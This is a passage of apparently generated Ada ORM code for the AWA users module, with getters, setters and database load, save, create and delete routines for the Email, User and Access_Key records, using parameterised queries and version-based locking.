return Ada.Strings.Unbounded.To_String (Object.Get_Email);
end Get_Email;
function Get_Email (Object : in Email_Ref)
return Ada.Strings.Unbounded.Unbounded_String is
Impl : constant Email_Access
:= Email_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Email;
end Get_Email;
procedure Set_Status (Object : in out Email_Ref;
Value : in AWA.Users.Models.MailDeliveryStatus) is
procedure Set_Field_Enum is
new ADO.Objects.Set_Field_Operation (MailDeliveryStatus);
Impl : Email_Access;
begin
Set_Field (Object, Impl);
Set_Field_Enum (Impl.all, 2, Impl.Status, Value);
end Set_Status;
function Get_Status (Object : in Email_Ref)
return AWA.Users.Models.MailDeliveryStatus is
Impl : constant Email_Access
:= Email_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Status;
end Get_Status;
procedure Set_Last_Error_Date (Object : in out Email_Ref;
Value : in Ada.Calendar.Time) is
Impl : Email_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Time (Impl.all, 3, Impl.Last_Error_Date, Value);
end Set_Last_Error_Date;
function Get_Last_Error_Date (Object : in Email_Ref)
return Ada.Calendar.Time is
Impl : constant Email_Access
:= Email_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Last_Error_Date;
end Get_Last_Error_Date;
function Get_Version (Object : in Email_Ref)
return Integer is
Impl : constant Email_Access
:= Email_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Version;
end Get_Version;
procedure Set_Id (Object : in out Email_Ref;
Value : in ADO.Identifier) is
Impl : Email_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Key_Value (Impl.all, 5, Value);
end Set_Id;
function Get_Id (Object : in Email_Ref)
return ADO.Identifier is
Impl : constant Email_Access
:= Email_Impl (Object.Get_Object.all)'Access;
begin
return Impl.Get_Key_Value;
end Get_Id;
procedure Set_User_Id (Object : in out Email_Ref;
Value : in ADO.Identifier) is
Impl : Email_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Identifier (Impl.all, 6, Impl.User_Id, Value);
end Set_User_Id;
function Get_User_Id (Object : in Email_Ref)
return ADO.Identifier is
Impl : constant Email_Access
:= Email_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.User_Id;
end Get_User_Id;
-- Copy of the object.
procedure Copy (Object : in Email_Ref;
Into : in out Email_Ref) is
Result : Email_Ref;
begin
if not Object.Is_Null then
declare
Impl : constant Email_Access
:= Email_Impl (Object.Get_Load_Object.all)'Access;
Copy : constant Email_Access
:= new Email_Impl;
begin
ADO.Objects.Set_Object (Result, Copy.all'Access);
Copy.Copy (Impl.all);
Copy.Email := Impl.Email;
Copy.Status := Impl.Status;
Copy.Last_Error_Date := Impl.Last_Error_Date;
Copy.Version := Impl.Version;
Copy.User_Id := Impl.User_Id;
end;
end if;
Into := Result;
end Copy;
procedure Find (Object : in out Email_Ref;
Session : in out ADO.Sessions.Session'Class;
Query : in ADO.SQL.Query'Class;
Found : out Boolean) is
Impl : constant Email_Access := new Email_Impl;
begin
Impl.Find (Session, Query, Found);
if Found then
ADO.Objects.Set_Object (Object, Impl.all'Access);
else
ADO.Objects.Set_Object (Object, null);
Destroy (Impl);
end if;
end Find;
procedure Load (Object : in out Email_Ref;
Session : in out ADO.Sessions.Session'Class;
Id : in ADO.Identifier) is
Impl : constant Email_Access := new Email_Impl;
Found : Boolean;
Query : ADO.SQL.Query;
begin
Query.Bind_Param (Position => 1, Value => Id);
Query.Set_Filter ("id = ?");
Impl.Find (Session, Query, Found);
if not Found then
Destroy (Impl);
raise ADO.Objects.NOT_FOUND;
end if;
ADO.Objects.Set_Object (Object, Impl.all'Access);
end Load;
procedure Load (Object : in out Email_Ref;
Session : in out ADO.Sessions.Session'Class;
Id : in ADO.Identifier;
Found : out Boolean) is
Impl : constant Email_Access := new Email_Impl;
Query : ADO.SQL.Query;
begin
Query.Bind_Param (Position => 1, Value => Id);
Query.Set_Filter ("id = ?");
Impl.Find (Session, Query, Found);
if not Found then
Destroy (Impl);
else
ADO.Objects.Set_Object (Object, Impl.all'Access);
end if;
end Load;
procedure Save (Object : in out Email_Ref;
Session : in out ADO.Sessions.Master_Session'Class) is
Impl : ADO.Objects.Object_Record_Access := Object.Get_Object;
begin
if Impl = null then
Impl := new Email_Impl;
ADO.Objects.Set_Object (Object, Impl);
end if;
if not ADO.Objects.Is_Created (Impl.all) then
Impl.Create (Session);
else
Impl.Save (Session);
end if;
end Save;
procedure Delete (Object : in out Email_Ref;
Session : in out ADO.Sessions.Master_Session'Class) is
Impl : constant ADO.Objects.Object_Record_Access := Object.Get_Object;
begin
if Impl /= null then
Impl.Delete (Session);
end if;
end Delete;
-- --------------------
-- Free the object
-- --------------------
procedure Destroy (Object : access Email_Impl) is
type Email_Impl_Ptr is access all Email_Impl;
procedure Unchecked_Free is new Ada.Unchecked_Deallocation
(Email_Impl, Email_Impl_Ptr);
pragma Warnings (Off, "*redundant conversion*");
Ptr : Email_Impl_Ptr := Email_Impl (Object.all)'Access;
pragma Warnings (On, "*redundant conversion*");
begin
Unchecked_Free (Ptr);
end Destroy;
procedure Find (Object : in out Email_Impl;
Session : in out ADO.Sessions.Session'Class;
Query : in ADO.SQL.Query'Class;
Found : out Boolean) is
Stmt : ADO.Statements.Query_Statement
:= Session.Create_Statement (Query, EMAIL_DEF'Access);
begin
Stmt.Execute;
if Stmt.Has_Elements then
Object.Load (Stmt, Session);
Stmt.Next;
Found := not Stmt.Has_Elements;
else
Found := False;
end if;
end Find;
overriding
procedure Load (Object : in out Email_Impl;
Session : in out ADO.Sessions.Session'Class) is
Found : Boolean;
Query : ADO.SQL.Query;
Id : constant ADO.Identifier := Object.Get_Key_Value;
begin
Query.Bind_Param (Position => 1, Value => Id);
Query.Set_Filter ("id = ?");
Object.Find (Session, Query, Found);
if not Found then
raise ADO.Objects.NOT_FOUND;
end if;
end Load;
procedure Save (Object : in out Email_Impl;
Session : in out ADO.Sessions.Master_Session'Class) is
Stmt : ADO.Statements.Update_Statement
:= Session.Create_Statement (EMAIL_DEF'Access);
begin
if Object.Is_Modified (1) then
Stmt.Save_Field (Name => COL_0_1_NAME, -- email
Value => Object.Email);
Object.Clear_Modified (1);
end if;
if Object.Is_Modified (2) then
Stmt.Save_Field (Name => COL_1_1_NAME, -- status
Value => Integer (MailDeliveryStatus'Pos (Object.Status)));
Object.Clear_Modified (2);
end if;
if Object.Is_Modified (3) then
Stmt.Save_Field (Name => COL_2_1_NAME, -- last_error_date
Value => Object.Last_Error_Date);
Object.Clear_Modified (3);
end if;
if Object.Is_Modified (5) then
Stmt.Save_Field (Name => COL_4_1_NAME, -- id
Value => Object.Get_Key);
Object.Clear_Modified (5);
end if;
if Object.Is_Modified (6) then
Stmt.Save_Field (Name => COL_5_1_NAME, -- user_id
Value => Object.User_Id);
Object.Clear_Modified (6);
end if;
if Stmt.Has_Save_Fields then
Object.Version := Object.Version + 1;
Stmt.Save_Field (Name => "version",
Value => Object.Version);
Stmt.Set_Filter (Filter => "id = ? and version = ?");
Stmt.Add_Param (Value => Object.Get_Key);
Stmt.Add_Param (Value => Object.Version - 1);
declare
Result : Integer;
begin
Stmt.Execute (Result);
if Result /= 1 then
if Result /= 0 then
raise ADO.Objects.UPDATE_ERROR;
else
raise ADO.Objects.LAZY_LOCK;
end if;
end if;
end;
end if;
end Save;
procedure Create (Object : in out Email_Impl;
Session : in out ADO.Sessions.Master_Session'Class) is
Query : ADO.Statements.Insert_Statement
:= Session.Create_Statement (EMAIL_DEF'Access);
Result : Integer;
begin
Object.Version := 1;
Query.Save_Field (Name => COL_0_1_NAME, -- email
Value => Object.Email);
Query.Save_Field (Name => COL_1_1_NAME, -- status
Value => Integer (MailDeliveryStatus'Pos (Object.Status)));
Query.Save_Field (Name => COL_2_1_NAME, -- last_error_date
Value => Object.Last_Error_Date);
Query.Save_Field (Name => COL_3_1_NAME, -- version
Value => Object.Version);
Session.Allocate (Id => Object);
Query.Save_Field (Name => COL_4_1_NAME, -- id
Value => Object.Get_Key);
Query.Save_Field (Name => COL_5_1_NAME, -- user_id
Value => Object.User_Id);
Query.Execute (Result);
if Result /= 1 then
raise ADO.Objects.INSERT_ERROR;
end if;
ADO.Objects.Set_Created (Object);
end Create;
procedure Delete (Object : in out Email_Impl;
Session : in out ADO.Sessions.Master_Session'Class) is
Stmt : ADO.Statements.Delete_Statement
:= Session.Create_Statement (EMAIL_DEF'Access);
begin
Stmt.Set_Filter (Filter => "id = ?");
Stmt.Add_Param (Value => Object.Get_Key);
Stmt.Execute;
end Delete;
-- ------------------------------
-- Get the bean attribute identified by the name.
-- ------------------------------
overriding
function Get_Value (From : in Email_Ref;
Name : in String) return Util.Beans.Objects.Object is
Obj : ADO.Objects.Object_Record_Access;
Impl : access Email_Impl;
begin
if From.Is_Null then
return Util.Beans.Objects.Null_Object;
end if;
Obj := From.Get_Load_Object;
Impl := Email_Impl (Obj.all)'Access;
if Name = "email" then
return Util.Beans.Objects.To_Object (Impl.Email);
elsif Name = "status" then
return AWA.Users.Models.MailDeliveryStatus_Objects.To_Object (Impl.Status);
elsif Name = "last_error_date" then
return Util.Beans.Objects.Time.To_Object (Impl.Last_Error_Date);
elsif Name = "id" then
return ADO.Objects.To_Object (Impl.Get_Key);
elsif Name = "user_id" then
return Util.Beans.Objects.To_Object (Long_Long_Integer (Impl.User_Id));
end if;
return Util.Beans.Objects.Null_Object;
end Get_Value;
-- ------------------------------
-- Load the object from current iterator position
-- ------------------------------
procedure Load (Object : in out Email_Impl;
Stmt : in out ADO.Statements.Query_Statement'Class;
Session : in out ADO.Sessions.Session'Class) is
begin
Object.Email := Stmt.Get_Unbounded_String (0);
Object.Status := MailDeliveryStatus'Val (Stmt.Get_Integer (1));
Object.Last_Error_Date := Stmt.Get_Time (2);
Object.Set_Key_Value (Stmt.Get_Identifier (4));
Object.User_Id := Stmt.Get_Identifier (5);
Object.Version := Stmt.Get_Integer (3);
ADO.Objects.Set_Created (Object);
end Load;
function User_Key (Id : in ADO.Identifier) return ADO.Objects.Object_Key is
Result : ADO.Objects.Object_Key (Of_Type => ADO.Objects.KEY_INTEGER,
Of_Class => USER_DEF'Access);
begin
ADO.Objects.Set_Value (Result, Id);
return Result;
end User_Key;
function User_Key (Id : in String) return ADO.Objects.Object_Key is
Result : ADO.Objects.Object_Key (Of_Type => ADO.Objects.KEY_INTEGER,
Of_Class => USER_DEF'Access);
begin
ADO.Objects.Set_Value (Result, Id);
return Result;
end User_Key;
function "=" (Left, Right : User_Ref'Class) return Boolean is
begin
return ADO.Objects.Object_Ref'Class (Left) = ADO.Objects.Object_Ref'Class (Right);
end "=";
procedure Set_Field (Object : in out User_Ref'Class;
Impl : out User_Access) is
Result : ADO.Objects.Object_Record_Access;
begin
Object.Prepare_Modify (Result);
Impl := User_Impl (Result.all)'Access;
end Set_Field;
-- Internal method to allocate the Object_Record instance
procedure Allocate (Object : in out User_Ref) is
Impl : User_Access;
begin
Impl := new User_Impl;
Impl.Version := 0;
ADO.Objects.Set_Object (Object, Impl.all'Access);
end Allocate;
-- ----------------------------------------
-- Data object: User
-- ----------------------------------------
procedure Set_First_Name (Object : in out User_Ref;
Value : in String) is
Impl : User_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_String (Impl.all, 1, Impl.First_Name, Value);
end Set_First_Name;
procedure Set_First_Name (Object : in out User_Ref;
Value : in Ada.Strings.Unbounded.Unbounded_String) is
Impl : User_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Unbounded_String (Impl.all, 1, Impl.First_Name, Value);
end Set_First_Name;
function Get_First_Name (Object : in User_Ref)
return String is
begin
return Ada.Strings.Unbounded.To_String (Object.Get_First_Name);
end Get_First_Name;
function Get_First_Name (Object : in User_Ref)
return Ada.Strings.Unbounded.Unbounded_String is
Impl : constant User_Access
:= User_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.First_Name;
end Get_First_Name;
procedure Set_Last_Name (Object : in out User_Ref;
Value : in String) is
Impl : User_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_String (Impl.all, 2, Impl.Last_Name, Value);
end Set_Last_Name;
procedure Set_Last_Name (Object : in out User_Ref;
Value : in Ada.Strings.Unbounded.Unbounded_String) is
Impl : User_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Unbounded_String (Impl.all, 2, Impl.Last_Name, Value);
end Set_Last_Name;
function Get_Last_Name (Object : in User_Ref)
return String is
begin
return Ada.Strings.Unbounded.To_String (Object.Get_Last_Name);
end Get_Last_Name;
function Get_Last_Name (Object : in User_Ref)
return Ada.Strings.Unbounded.Unbounded_String is
Impl : constant User_Access
:= User_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Last_Name;
end Get_Last_Name;
procedure Set_Password (Object : in out User_Ref;
Value : in String) is
Impl : User_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_String (Impl.all, 3, Impl.Password, Value);
end Set_Password;
procedure Set_Password (Object : in out User_Ref;
Value : in Ada.Strings.Unbounded.Unbounded_String) is
Impl : User_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Unbounded_String (Impl.all, 3, Impl.Password, Value);
end Set_Password;
function Get_Password (Object : in User_Ref)
return String is
begin
return Ada.Strings.Unbounded.To_String (Object.Get_Password);
end Get_Password;
function Get_Password (Object : in User_Ref)
return Ada.Strings.Unbounded.Unbounded_String is
Impl : constant User_Access
:= User_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Password;
end Get_Password;
procedure Set_Open_Id (Object : in out User_Ref;
Value : in String) is
Impl : User_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_String (Impl.all, 4, Impl.Open_Id, Value);
end Set_Open_Id;
procedure Set_Open_Id (Object : in out User_Ref;
Value : in Ada.Strings.Unbounded.Unbounded_String) is
Impl : User_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Unbounded_String (Impl.all, 4, Impl.Open_Id, Value);
end Set_Open_Id;
function Get_Open_Id (Object : in User_Ref)
return String is
begin
return Ada.Strings.Unbounded.To_String (Object.Get_Open_Id);
end Get_Open_Id;
function Get_Open_Id (Object : in User_Ref)
return Ada.Strings.Unbounded.Unbounded_String is
Impl : constant User_Access
:= User_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Open_Id;
end Get_Open_Id;
procedure Set_Country (Object : in out User_Ref;
Value : in String) is
Impl : User_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_String (Impl.all, 5, Impl.Country, Value);
end Set_Country;
procedure Set_Country (Object : in out User_Ref;
Value : in Ada.Strings.Unbounded.Unbounded_String) is
Impl : User_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Unbounded_String (Impl.all, 5, Impl.Country, Value);
end Set_Country;
function Get_Country (Object : in User_Ref)
return String is
begin
return Ada.Strings.Unbounded.To_String (Object.Get_Country);
end Get_Country;
function Get_Country (Object : in User_Ref)
return Ada.Strings.Unbounded.Unbounded_String is
Impl : constant User_Access
:= User_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Country;
end Get_Country;
procedure Set_Name (Object : in out User_Ref;
Value : in String) is
Impl : User_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_String (Impl.all, 6, Impl.Name, Value);
end Set_Name;
procedure Set_Name (Object : in out User_Ref;
Value : in Ada.Strings.Unbounded.Unbounded_String) is
Impl : User_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Unbounded_String (Impl.all, 6, Impl.Name, Value);
end Set_Name;
function Get_Name (Object : in User_Ref)
return String is
begin
return Ada.Strings.Unbounded.To_String (Object.Get_Name);
end Get_Name;
function Get_Name (Object : in User_Ref)
return Ada.Strings.Unbounded.Unbounded_String is
Impl : constant User_Access
:= User_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Name;
end Get_Name;
function Get_Version (Object : in User_Ref)
return Integer is
Impl : constant User_Access
:= User_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Version;
end Get_Version;
procedure Set_Id (Object : in out User_Ref;
Value : in ADO.Identifier) is
Impl : User_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Key_Value (Impl.all, 8, Value);
end Set_Id;
function Get_Id (Object : in User_Ref)
return ADO.Identifier is
Impl : constant User_Access
:= User_Impl (Object.Get_Object.all)'Access;
begin
return Impl.Get_Key_Value;
end Get_Id;
procedure Set_Salt (Object : in out User_Ref;
Value : in String) is
Impl : User_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_String (Impl.all, 9, Impl.Salt, Value);
end Set_Salt;
procedure Set_Salt (Object : in out User_Ref;
Value : in Ada.Strings.Unbounded.Unbounded_String) is
Impl : User_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Unbounded_String (Impl.all, 9, Impl.Salt, Value);
end Set_Salt;
function Get_Salt (Object : in User_Ref)
return String is
begin
return Ada.Strings.Unbounded.To_String (Object.Get_Salt);
end Get_Salt;
function Get_Salt (Object : in User_Ref)
return Ada.Strings.Unbounded.Unbounded_String is
Impl : constant User_Access
:= User_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Salt;
end Get_Salt;
procedure Set_Email (Object : in out User_Ref;
Value : in AWA.Users.Models.Email_Ref'Class) is
Impl : User_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Object (Impl.all, 10, Impl.Email, Value);
end Set_Email;
function Get_Email (Object : in User_Ref)
return AWA.Users.Models.Email_Ref'Class is
Impl : constant User_Access
:= User_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Email;
end Get_Email;
-- Copy of the object.
procedure Copy (Object : in User_Ref;
Into : in out User_Ref) is
Result : User_Ref;
begin
if not Object.Is_Null then
declare
Impl : constant User_Access
:= User_Impl (Object.Get_Load_Object.all)'Access;
Copy : constant User_Access
:= new User_Impl;
begin
ADO.Objects.Set_Object (Result, Copy.all'Access);
Copy.Copy (Impl.all);
Copy.First_Name := Impl.First_Name;
Copy.Last_Name := Impl.Last_Name;
Copy.Password := <PASSWORD>;
Copy.Open_Id := Impl.Open_Id;
Copy.Country := Impl.Country;
Copy.Name := Impl.Name;
Copy.Version := Impl.Version;
Copy.Salt := Impl.Salt;
Copy.Email := Impl.Email;
end;
end if;
Into := Result;
end Copy;
procedure Find (Object : in out User_Ref;
Session : in out ADO.Sessions.Session'Class;
Query : in ADO.SQL.Query'Class;
Found : out Boolean) is
Impl : constant User_Access := new User_Impl;
begin
Impl.Find (Session, Query, Found);
if Found then
ADO.Objects.Set_Object (Object, Impl.all'Access);
else
ADO.Objects.Set_Object (Object, null);
Destroy (Impl);
end if;
end Find;
procedure Load (Object : in out User_Ref;
Session : in out ADO.Sessions.Session'Class;
Id : in ADO.Identifier) is
Impl : constant User_Access := new User_Impl;
Found : Boolean;
Query : ADO.SQL.Query;
begin
Query.Bind_Param (Position => 1, Value => Id);
Query.Set_Filter ("id = ?");
Impl.Find (Session, Query, Found);
if not Found then
Destroy (Impl);
raise ADO.Objects.NOT_FOUND;
end if;
ADO.Objects.Set_Object (Object, Impl.all'Access);
end Load;
procedure Load (Object : in out User_Ref;
Session : in out ADO.Sessions.Session'Class;
Id : in ADO.Identifier;
Found : out Boolean) is
Impl : constant User_Access := new User_Impl;
Query : ADO.SQL.Query;
begin
Query.Bind_Param (Position => 1, Value => Id);
Query.Set_Filter ("id = ?");
Impl.Find (Session, Query, Found);
if not Found then
Destroy (Impl);
else
ADO.Objects.Set_Object (Object, Impl.all'Access);
end if;
end Load;
procedure Save (Object : in out User_Ref;
Session : in out ADO.Sessions.Master_Session'Class) is
Impl : ADO.Objects.Object_Record_Access := Object.Get_Object;
begin
if Impl = null then
Impl := new User_Impl;
ADO.Objects.Set_Object (Object, Impl);
end if;
if not ADO.Objects.Is_Created (Impl.all) then
Impl.Create (Session);
else
Impl.Save (Session);
end if;
end Save;
procedure Delete (Object : in out User_Ref;
Session : in out ADO.Sessions.Master_Session'Class) is
Impl : constant ADO.Objects.Object_Record_Access := Object.Get_Object;
begin
if Impl /= null then
Impl.Delete (Session);
end if;
end Delete;
-- --------------------
-- Free the object
-- --------------------
procedure Destroy (Object : access User_Impl) is
type User_Impl_Ptr is access all User_Impl;
procedure Unchecked_Free is new Ada.Unchecked_Deallocation
(User_Impl, User_Impl_Ptr);
pragma Warnings (Off, "*redundant conversion*");
Ptr : User_Impl_Ptr := User_Impl (Object.all)'Access;
pragma Warnings (On, "*redundant conversion*");
begin
Unchecked_Free (Ptr);
end Destroy;
procedure Find (Object : in out User_Impl;
Session : in out ADO.Sessions.Session'Class;
Query : in ADO.SQL.Query'Class;
Found : out Boolean) is
Stmt : ADO.Statements.Query_Statement
:= Session.Create_Statement (Query, USER_DEF'Access);
begin
Stmt.Execute;
if Stmt.Has_Elements then
Object.Load (Stmt, Session);
Stmt.Next;
Found := not Stmt.Has_Elements;
else
Found := False;
end if;
end Find;
overriding
procedure Load (Object : in out User_Impl;
Session : in out ADO.Sessions.Session'Class) is
Found : Boolean;
Query : ADO.SQL.Query;
Id : constant ADO.Identifier := Object.Get_Key_Value;
begin
Query.Bind_Param (Position => 1, Value => Id);
Query.Set_Filter ("id = ?");
Object.Find (Session, Query, Found);
if not Found then
raise ADO.Objects.NOT_FOUND;
end if;
end Load;
procedure Save (Object : in out User_Impl;
Session : in out ADO.Sessions.Master_Session'Class) is
Stmt : ADO.Statements.Update_Statement
:= Session.Create_Statement (USER_DEF'Access);
begin
if Object.Is_Modified (1) then
Stmt.Save_Field (Name => COL_0_2_NAME, -- first_name
Value => Object.First_Name);
Object.Clear_Modified (1);
end if;
if Object.Is_Modified (2) then
Stmt.Save_Field (Name => COL_1_2_NAME, -- last_name
Value => Object.Last_Name);
Object.Clear_Modified (2);
end if;
if Object.Is_Modified (3) then
Stmt.Save_Field (Name => COL_2_2_NAME, -- password
Value => Object.Password);
Object.Clear_Modified (3);
end if;
if Object.Is_Modified (4) then
Stmt.Save_Field (Name => COL_3_2_NAME, -- open_id
Value => Object.Open_Id);
Object.Clear_Modified (4);
end if;
if Object.Is_Modified (5) then
Stmt.Save_Field (Name => COL_4_2_NAME, -- country
Value => Object.Country);
Object.Clear_Modified (5);
end if;
if Object.Is_Modified (6) then
Stmt.Save_Field (Name => COL_5_2_NAME, -- name
Value => Object.Name);
Object.Clear_Modified (6);
end if;
if Object.Is_Modified (8) then
Stmt.Save_Field (Name => COL_7_2_NAME, -- id
Value => Object.Get_Key);
Object.Clear_Modified (8);
end if;
if Object.Is_Modified (9) then
Stmt.Save_Field (Name => COL_8_2_NAME, -- salt
Value => Object.Salt);
Object.Clear_Modified (9);
end if;
if Object.Is_Modified (10) then
Stmt.Save_Field (Name => COL_9_2_NAME, -- email_id
Value => Object.Email);
Object.Clear_Modified (10);
end if;
if Stmt.Has_Save_Fields then
Object.Version := Object.Version + 1;
Stmt.Save_Field (Name => "version",
Value => Object.Version);
Stmt.Set_Filter (Filter => "id = ? and version = ?");
Stmt.Add_Param (Value => Object.Get_Key);
Stmt.Add_Param (Value => Object.Version - 1);
declare
Result : Integer;
begin
Stmt.Execute (Result);
if Result /= 1 then
if Result /= 0 then
raise ADO.Objects.UPDATE_ERROR;
else
raise ADO.Objects.LAZY_LOCK;
end if;
end if;
end;
end if;
end Save;
procedure Create (Object : in out User_Impl;
Session : in out ADO.Sessions.Master_Session'Class) is
Query : ADO.Statements.Insert_Statement
:= Session.Create_Statement (USER_DEF'Access);
Result : Integer;
begin
Object.Version := 1;
Query.Save_Field (Name => COL_0_2_NAME, -- first_name
Value => Object.First_Name);
Query.Save_Field (Name => COL_1_2_NAME, -- last_name
Value => Object.Last_Name);
Query.Save_Field (Name => COL_2_2_NAME, -- password
Value => Object.Password);
Query.Save_Field (Name => COL_3_2_NAME, -- open_id
Value => Object.Open_Id);
Query.Save_Field (Name => COL_4_2_NAME, -- country
Value => Object.Country);
Query.Save_Field (Name => COL_5_2_NAME, -- name
Value => Object.Name);
Query.Save_Field (Name => COL_6_2_NAME, -- version
Value => Object.Version);
Session.Allocate (Id => Object);
Query.Save_Field (Name => COL_7_2_NAME, -- id
Value => Object.Get_Key);
Query.Save_Field (Name => COL_8_2_NAME, -- salt
Value => Object.Salt);
Query.Save_Field (Name => COL_9_2_NAME, -- email_id
Value => Object.Email);
Query.Execute (Result);
if Result /= 1 then
raise ADO.Objects.INSERT_ERROR;
end if;
ADO.Objects.Set_Created (Object);
end Create;
procedure Delete (Object : in out User_Impl;
Session : in out ADO.Sessions.Master_Session'Class) is
Stmt : ADO.Statements.Delete_Statement
:= Session.Create_Statement (USER_DEF'Access);
begin
Stmt.Set_Filter (Filter => "id = ?");
Stmt.Add_Param (Value => Object.Get_Key);
Stmt.Execute;
end Delete;
-- ------------------------------
-- Get the bean attribute identified by the name.
-- ------------------------------
overriding
function Get_Value (From : in User_Ref;
Name : in String) return Util.Beans.Objects.Object is
Obj : ADO.Objects.Object_Record_Access;
Impl : access User_Impl;
begin
if From.Is_Null then
return Util.Beans.Objects.Null_Object;
end if;
Obj := From.Get_Load_Object;
Impl := User_Impl (Obj.all)'Access;
if Name = "first_name" then
return Util.Beans.Objects.To_Object (Impl.First_Name);
elsif Name = "last_name" then
return Util.Beans.Objects.To_Object (Impl.Last_Name);
elsif Name = "password" then
return Util.Beans.Objects.To_Object (Impl.Password);
elsif Name = "open_id" then
return Util.Beans.Objects.To_Object (Impl.Open_Id);
elsif Name = "country" then
return Util.Beans.Objects.To_Object (Impl.Country);
elsif Name = "name" then
return Util.Beans.Objects.To_Object (Impl.Name);
elsif Name = "id" then
return ADO.Objects.To_Object (Impl.Get_Key);
elsif Name = "salt" then
return Util.Beans.Objects.To_Object (Impl.Salt);
end if;
return Util.Beans.Objects.Null_Object;
end Get_Value;
-- ------------------------------
-- Load the object from current iterator position
-- ------------------------------
procedure Load (Object : in out User_Impl;
Stmt : in out ADO.Statements.Query_Statement'Class;
Session : in out ADO.Sessions.Session'Class) is
begin
Object.First_Name := Stmt.Get_Unbounded_String (0);
Object.Last_Name := Stmt.Get_Unbounded_String (1);
Object.Password := Stmt.Get_Unbounded_String (2);
Object.Open_Id := Stmt.Get_Unbounded_String (3);
Object.Country := Stmt.Get_Unbounded_String (4);
Object.Name := Stmt.Get_Unbounded_String (5);
Object.Set_Key_Value (Stmt.Get_Identifier (7));
Object.Salt := Stmt.Get_Unbounded_String (8);
if not Stmt.Is_Null (9) then
Object.Email.Set_Key_Value (Stmt.Get_Identifier (9), Session);
end if;
Object.Version := Stmt.Get_Integer (6);
ADO.Objects.Set_Created (Object);
end Load;
function Access_Key_Key (Id : in ADO.Identifier) return ADO.Objects.Object_Key is
Result : ADO.Objects.Object_Key (Of_Type => ADO.Objects.KEY_INTEGER,
Of_Class => ACCESS_KEY_DEF'Access);
begin
ADO.Objects.Set_Value (Result, Id);
return Result;
end Access_Key_Key;
function Access_Key_Key (Id : in String) return ADO.Objects.Object_Key is
Result : ADO.Objects.Object_Key (Of_Type => ADO.Objects.KEY_INTEGER,
Of_Class => ACCESS_KEY_DEF'Access);
begin
ADO.Objects.Set_Value (Result, Id);
return Result;
end Access_Key_Key;
function "=" (Left, Right : Access_Key_Ref'Class) return Boolean is
begin
return ADO.Objects.Object_Ref'Class (Left) = ADO.Objects.Object_Ref'Class (Right);
end "=";
procedure Set_Field (Object : in out Access_Key_Ref'Class;
Impl : out Access_Key_Access) is
Result : ADO.Objects.Object_Record_Access;
begin
Object.Prepare_Modify (Result);
Impl := Access_Key_Impl (Result.all)'Access;
end Set_Field;
-- Internal method to allocate the Object_Record instance
procedure Allocate (Object : in out Access_Key_Ref) is
Impl : Access_Key_Access;
begin
Impl := new Access_Key_Impl;
Impl.Expire_Date := ADO.DEFAULT_TIME;
Impl.Version := 0;
Impl.Kind := AWA.Users.Models.Key_Type'First;
ADO.Objects.Set_Object (Object, Impl.all'Access);
end Allocate;
-- ----------------------------------------
-- Data object: Access_Key
-- ----------------------------------------
procedure Set_Access_Key (Object : in out Access_Key_Ref;
Value : in String) is
Impl : Access_Key_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_String (Impl.all, 1, Impl.Access_Key, Value);
end Set_Access_Key;
procedure Set_Access_Key (Object : in out Access_Key_Ref;
Value : in Ada.Strings.Unbounded.Unbounded_String) is
Impl : Access_Key_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Unbounded_String (Impl.all, 1, Impl.Access_Key, Value);
end Set_Access_Key;
function Get_Access_Key (Object : in Access_Key_Ref)
return String is
begin
return Ada.Strings.Unbounded.To_String (Object.Get_Access_Key);
end Get_Access_Key;
function Get_Access_Key (Object : in Access_Key_Ref)
return Ada.Strings.Unbounded.Unbounded_String is
Impl : constant Access_Key_Access
:= Access_Key_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Access_Key;
end Get_Access_Key;
procedure Set_Expire_Date (Object : in out Access_Key_Ref;
Value : in Ada.Calendar.Time) is
Impl : Access_Key_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Time (Impl.all, 2, Impl.Expire_Date, Value);
end Set_Expire_Date;
function Get_Expire_Date (Object : in Access_Key_Ref)
return Ada.Calendar.Time is
Impl : constant Access_Key_Access
:= Access_Key_Impl (Object.Get_Load_Object.all)'Access;
begin
return Impl.Expire_Date;
end Get_Expire_Date;
procedure Set_Id (Object : in out Access_Key_Ref;
Value : in ADO.Identifier) is
Impl : Access_Key_Access;
begin
Set_Field (Object, Impl);
ADO.Objects.Set_Field_Key_Value (Impl.all, 3, Value);
end Set_Id;
function Get_Id (Object : in Access_Key_Ref)
